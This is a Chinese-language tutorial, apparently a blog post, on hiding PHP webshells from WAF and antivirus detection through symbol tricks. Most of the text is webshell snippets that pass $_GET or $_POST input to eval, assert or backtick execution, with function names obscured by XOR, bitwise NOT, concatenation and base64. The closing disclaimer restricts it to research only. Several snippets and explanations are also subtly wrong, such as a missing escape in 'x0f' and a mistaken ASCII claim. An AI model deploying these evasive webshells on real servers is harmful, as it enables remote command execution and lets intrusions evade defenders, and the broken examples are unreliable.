2026-10-25 11:09:26
在WebShell免杀中,符号可通过干扰静态特征匹配、破坏语法语义分析或利用语言特性实现绕过。以下以PHP为例,介绍符号的免杀妙用及原理:
一、基础符号的免杀应用圆括号 ()
作用:干扰语法分析,隐藏危险函数调用。
示例:
$_ = $_GET['pass'];$white = "(${eval($_)})"; // 通过圆括号包裹eval,干扰WAF对函数调用的识别原理:WAF的语法检测可能依赖函数调用的固定模式(如eval(...)),圆括号可破坏这种模式。
花括号 {}
作用:变量间接引用定界,避免歧义。
示例:
${$my_var[8]} // 与 ${$my_var}[8] 不同,前者将$my_var[8]作为变量名$a{4} // 等同于 $a[4],将字符串变量当数组处理原理:通过花括号构造复杂变量名,绕过WAF对简单变量名的静态匹配。
单引号 ' 与双引号 "
作用:单引号抑制变量解析,双引号支持变量拼接。
示例:
$a = "s"."e"."r";$b = "as$a".'t'; // 拼接为 "assert"原理:利用字符串拼接动态生成危险函数名,避免直接出现敏感关键词。
反引号 `
作用:执行系统命令,替代shell_exec()。
示例:
function fun($p) { echo `$p`; }$a = $_GET['x'];fun($a); // 执行用户输入的命令原理:反引号在PHP中直接调用系统命令,绕过对函数名的检测。
反斜线
作用:转义字符或调用根命名空间。
示例:
$a = $_GET['a'];$b = "n";assert($b.=$a); // 通过命名空间干扰函数特征原理:assert可能被WAF忽略,因命名空间调用改变了函数名的静态特征。
异或运算符 ^
作用:通过字符异或生成敏感函数名。
示例:
$a = 'a'^'~'; // 异或后得到字符 's'$b = 's'^"x0f"; // 生成 'e'$func = $a.$b.'rt'; // 拼接为 "assert"$func($_GET['cmd']);原理:WAF可能无法解析异或运算后的动态函数名。
取反运算符 ~
作用:对字符ASCII码取反,生成目标字符。
示例:
$a = ~'?'; // ?的ASCII码为127,取反后为0,结合其他字符生成敏感词原理:通过数学运算隐藏真实字符,绕过关键词匹配。
递增/递减运算符 ++/--
作用:动态修改变量值,构造敏感函数名。
示例:
$a = 'a';$a++; // 变为 'b'$func = $a.'ssert'; // 拼接为 "bssert"(需结合其他操作修正)原理:通过运算符动态生成函数名的一部分,增加检测难度。
混合符号干扰
示例:
$a = 'a'^"x0f";$b = ~$a;$c = ${$b.'ssert'}; // 动态调用assert$c($_POST['cmd']);原理:结合异或、取反和变量间接引用,构建多层逻辑,使WAF难以解析。
符号与编码结合
示例:
$a = base64_decode('YXNzZXJ0'); // 解码为 "assert"$a($_GET['cmd']);原理:符号(如花括号)可与编码(Base64、Hex)混合使用,进一步隐藏特征。
总结:符号在WebShell免杀中扮演关键角色,其核心价值在于通过语言特性隐藏攻击意图。掌握符号的运算规则、变量处理机制及命名空间等特性,可设计出多样化的绕过方案。但需注意,免杀技术可能违反法律法规,仅供安全研究参考。